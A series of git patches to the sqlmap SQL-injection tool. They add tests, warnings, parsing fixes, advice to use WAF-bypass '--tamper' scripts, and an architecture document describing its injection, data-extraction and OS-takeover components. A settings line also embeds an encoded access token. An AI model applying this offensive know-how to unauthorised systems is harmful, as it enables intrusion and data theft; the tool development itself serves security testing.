never raise on arbitrary text (return value unconstrained) + def test_urlencode_urldecode(self): + for_all(self, gen_text, lambda s: (urlencode(s), urldecode(s)) and True, label="urlcodec") + + def test_safecharencode(self): + for_all(self, gen_text, lambda s: safecharencode(s) is not None or s == u"", label="safecharencode") + + def test_stdoutencode(self): + for_all(self, gen_text, lambda s: stdoutEncode(s) is not None or s == u"", label="stdoutencode") + + +if __name__ == "__main__": + unittest.main() From ea1f08922097022316a58fb3922e79adbba29704 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:29:32 +0200 Subject: [PATCH 020/165] Adding some warning message --- data/txt/sha256sums.txt | 4 ++-- lib/controller/controller.py | 15 +++++++++++++++ lib/core/settings.py | 5 ++++- 3 files changed, 21 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 11dab7d7b..55391e1c0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -85146a0565467952a35cdd234031d8de01ef8f354c8676f6484b0bfb911c5347 lib/controller/controller.py +6068e48ec6337a6955ca6c9ca4479bf6dabaf963f28b459d9c52cee3910f3cda lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -03034e80de6b81ec5d5482f8c4dff1722f636f09e226f42b6849e78164da3682 lib/core/settings.py +ef64975437d734f34f15026d9fec87eb147999912c187985a2c83c9bb3ffb08e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index fa1447876..ff64a81bd 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -70,6 +70,7 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX +from lib.core.settings import HASHDB_STALE_DAYS from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT @@ -190,6 +191,20 @@ def _showInjections(): data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) + # when results were resumed (no test requests this run), nudge if the session file is stale - + # this is the common "why is it showing old/unexpected results?" confusion + if kb.testQueryCount == 0 and not conf.freshQueries: + try: + days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600)) + except (OSError, IOError, TypeError): + days = 0 + + if days >= HASHDB_STALE_DAYS: + warnMsg = "results above were resumed from a session file last updated %d days ago, " % days + warnMsg += "so they may be stale. Rerun with '--flush-session' to retest " + warnMsg += "or '--fresh-queries' to ignore cached query results" + logger.warning(warnMsg) + if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d859b1c5..e76d5180a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.114" +VERSION = "1.10.6.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -717,6 +717,9 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" +# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) +HASHDB_STALE_DAYS = 7 + # Flush HashDB threshold number of cached items HASHDB_FLUSH_THRESHOLD_ITEMS = 200 From 4e2438dc1e72c47b35bc1a930104a97a2e97b8c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 20:53:14 +0200 Subject: [PATCH 021/165] Minor patches --- data/txt/sha256sums.txt | 10 ++++----- lib/core/common.py | 35 +++++++++++++++++++++++++++++-- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 5 ++++- tests/test_property.py | 16 +++++++++++--- 6 files changed, 57 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 55391e1c0..d141d1541 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -1452ffc42657bea207583173de9829dddf4afd9b159c785284e43878de492afb lib/core/common.py +7fc5a845a78e6fb7b1a2fdef2fe529510ac5f2c9fac78de588844b4a8c1504e1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,14 +181,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py -3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py +b61676f0aa44798aaf9be72ff37550e2b78ed6ad3c71fbcad54f8c8bf7b34096 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ef64975437d734f34f15026d9fec87eb147999912c187985a2c83c9bb3ffb08e lib/core/settings.py +1a73ece519f93c569f9b0b9b5837213bb20aa8d1fc6be54db240c5b5d9308162 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -230,7 +230,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -09c3759b59bc111712f75b0b1762d195c0da0e0741dd76379546c429e8ed4457 lib/techniques/blind/inference.py +42368a281d4d6f1571da95f2fb67afc43696ecdb6cad9720a178461f861b4fcd lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -589,7 +589,7 @@ caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_mis cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py -5dc46919f971f89a3073118ec00bf420cc9cecf0b072b2f896df2f860e87adec tests/test_property.py +a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py diff --git a/lib/core/common.py b/lib/core/common.py index b1b205ddf..0dc2f3cb5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4507,13 +4507,15 @@ def safeCSValue(value): '"foo, bar"' >>> safeCSValue('foobar') 'foobar' + >>> safeCSValue('foo\\rbar') + '"foo\\rbar"' """ retVal = value if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -5299,9 +5301,38 @@ def splitFields(fields, delimiter=','): >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] + >>> splitFields("a, 'b, c', d") + ['a', "'b, c'", 'd'] """ - fields = fields.replace("%s " % delimiter, delimiter) + # collapse " " -> "" but only OUTSIDE quoted string literals, so a + # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch) + normalized = [] + quote = None + index = 0 + while index < len(fields): + char = fields[index] + if quote: + normalized.append(char) + if char == quote: + if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '') + normalized.append(fields[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + normalized.append(char) + elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ': + normalized.append(char) # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + normalized.append(char) + index += 1 + + fields = "".join(normalized) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) diff --git a/lib/core/option.py b/lib/core/option.py index 5f23a1aea..516a82ee1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2074,6 +2074,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache.comparison = LRUDict(capacity=256) kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None + kb.cache.charsetAsciiTbl = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} diff --git a/lib/core/settings.py b/lib/core/settings.py index e76d5180a..237abab22 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.115" +VERSION = "1.10.6.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index faf0a9383..41c490b7f 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -80,7 +80,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, None if charsetType is None and conf.charset: - asciiTbl = sorted(set(ord(_) for _ in conf.charset)) + # conf.charset is fixed for the whole run; compute the table once, not per bisection() call + if kb.cache.charsetAsciiTbl is None: + kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset)) + asciiTbl = kb.cache.charsetAsciiTbl else: asciiTbl = getCharset(charsetType) diff --git a/tests/test_property.py b/tests/test_property.py index cc1b00e3a..04cf72180 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -220,9 +220,19 @@ class TestRandomHelpers(unittest.TestCase): class TestSplitterInvariants(unittest.TestCase): def test_reconstruction(self): - # pure partition identity: rejoining the 0-depth split must reproduce the (space-normalized) input - for_all(self, gen_text, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-text") - for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-sql") + # Faithful partition: rejoining the 0-depth split reconstructs the input modulo the only + # transform splitFields applies - dropping a single space after an unquoted delimiter. So + # nothing other than spaces may be lost/added/reordered. (Space-insensitive so it survives + # the quote-aware normalization: spaces inside 'literals' are kept, comma-trailing ones are + # not; either way no non-space content changes.) + for_all(self, gen_text, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-sql") + + def test_quoted_literal_spaces_preserved(self): + # the I3 contract: a ", " inside a quoted literal must NOT be collapsed (the whole literal + # survives intact as a single field) + for_all(self, lambda r: u"%s, '%s, %s', %s" % (r.choice([u"a", u"id"]), r.choice([u"x", u"p q"]), r.choice([u"y", u"z"]), r.choice([u"b", u"c"])), + lambda s: u"'%s'" % s.split(u"'")[1] in splitFields(s), label="split-quote-preserve") def test_never_cuts_inside_parens(self): # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) From 75c4c868b40e587419b686ff95e82c1c04da5847 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 21:14:10 +0200 Subject: [PATCH 022/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/controller/controller.py | 10 +++++++--- lib/core/settings.py | 2 +- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d141d1541..a7d8cfcf1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -6068e48ec6337a6955ca6c9ca4479bf6dabaf963f28b459d9c52cee3910f3cda lib/controller/controller.py +969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1a73ece519f93c569f9b0b9b5837213bb20aa8d1fc6be54db240c5b5d9308162 lib/core/settings.py +5b6dc61ef2551e8a0dfad01aaeefe737b28587add0b1c1e406b4721e1b30c3be lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index ff64a81bd..584158236 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -725,9 +725,13 @@ def start(): errMsg += "does not match exclusively True responses." if not conf.tamper: - errMsg += " If you suspect that there is some kind of protection mechanism " - errMsg += "involved (e.g. WAF) maybe you could try to use " - errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" + if kb.identifiedWafs: + errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs) + errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')" + else: + errMsg += " If you suspect that there is some kind of protection mechanism " + errMsg += "involved (e.g. WAF) maybe you could try to use " + errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" diff --git a/lib/core/settings.py b/lib/core/settings.py index 237abab22..2bb5c2a05 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.116" +VERSION = "1.10.6.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cc7f803d60f0696d7a879571498a17c8a3dae148 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 21:44:04 +0200 Subject: [PATCH 023/165] Adding ARCHITECTURE.md --- data/txt/sha256sums.txt | 3 +- doc/ARCHITECTURE.md | 237 ++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 240 insertions(+), 2 deletions(-) create mode 100644 doc/ARCHITECTURE.md diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a7d8cfcf1..3088c412e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,6 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml 9d7dcbc6c5e368c44db851865ff49c791c3dee1ee62d8c02af8f8b15f4551aed data/xml/queries.xml +e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md @@ -188,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5b6dc61ef2551e8a0dfad01aaeefe737b28587add0b1c1e406b4721e1b30c3be lib/core/settings.py +878a1bbd202fa07ded97ab33e630b196e159aec49a6377d01247c4ccb1152a37 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 000000000..3e39e4421 --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,237 @@ +# sqlmap architecture + +A contributor-oriented map of how sqlmap is put together: the major components, +how a run flows through them, and where to start looking for a given concern. + +> This is a map, not a spec. It describes the durable structure and data flow; for +> exact signatures, option names, and enumerable lists (tampers, DBMSes, options), +> the source is authoritative. **When this document disagrees with the code, the code wins.** + +sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal +non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and +`thirdparty/six`. + +--- + +## 1. Entry points + +| Entry | File | Purpose | +|-------|------|---------| +| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. | +| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. | + +`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for +quirks/security - see below), `setPaths()`, `init()` (option parsing + environment +setup), then dispatches to `start()` for a normal scan, or to the self-tests +(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`. + +--- + +## 2. Global state: `conf` and `kb` + +Almost everything hangs off two process-global singletons defined in `lib/core/data.py`, +both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`): + +- **`conf`** - the resolved user configuration (options + derived settings). What the + user asked for. +- **`kb`** ("knowledge base") - mutable runtime state discovered during a run + (identified DBMS, injection points, page templates, caches, locks, counters). + +The configuration pipeline (`lib/core/`): + +- `parse/cmdline.py` - argparse definition of every CLI option. +- `core/optiondict.py` - option name -> type map (used for config-file/API coercion). +- `core/defaults.py` - default values. +- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`, + `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding + setup, etc. Merges CLI + config file + defaults into `conf`/`kb`. +- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.** + +Identifiers in the codebase are camelCase. + +--- + +## 3. Top-level layout + +| Path | Responsibility | +|------|----------------| +| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing | +| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) | +| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing | +| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` | +| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) | +| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... | +| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` | +| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes | +| `plugins/dbms//` | per-DBMS subclasses + dialect (one dir per supported DBMS) | +| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file | +| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | +| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | +| `tests/` | stdlib-unittest suite (offline); see section 11 | +| `thirdparty/` | vendored dependencies (six, bottle, keepalive, chardet, ...) - no pip at runtime | +| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | + +--- + +## 4. The scan lifecycle (`lib/controller/controller.py: start()`) + +For each target: + +1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`): + resolve URL/params, open the per-target output dir and session file + (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points, + cached values) from the session. +2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`, + `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` / + dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`). +3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint). +4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by + the data engine (section 5). Confirmed points are appended to `kb.injections`. +5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the + back-end DBMS and assigns `conf.dbmsHandler`, the object through which all + enumeration is dispatched (section 7). +6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation + (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to + `conf.dbmsHandler` methods, and feeds results to `conf.dumper`. + +If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`, +`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as +`SqlmapNotVulnerableException`. + +--- + +## 5. The data-driven detection engine + +Detection behavior lives in **data, not code** - `data/xml/`, loaded by +`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`): + +- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the + clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts). +- **`payloads/*.xml`** - the *tests*, one file per technique + (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`, + `union_query`), each with the request template and the comparison/grep logic that + decides success. + +`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the +identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`) +forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/ +`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via +`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false +by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`, +plus titles/errors/HTTP-code signals). + +--- + +## 6. Exploitation techniques + +Once a parameter is injectable, value extraction is dispatched by +`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`: + +| Technique | Engine | Mechanism | +|-----------|--------|-----------| +| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle | +| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay | +| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error | +| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction | +| inline query | (inline, via inject) | value embedded in the original query position | +| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel | + +`bisection()` is the hot loop; it caches the `--charset` table in +`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch +(intentional). Multi-threaded extraction is coordinated via `kb.locks` and +`getCurrentThreadData()` (`lib/core/threads.py`). + +--- + +## 7. DBMS abstraction + +Enumeration is DBMS-agnostic at the top and specialized underneath: + +- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`, + `enumeration.py`, 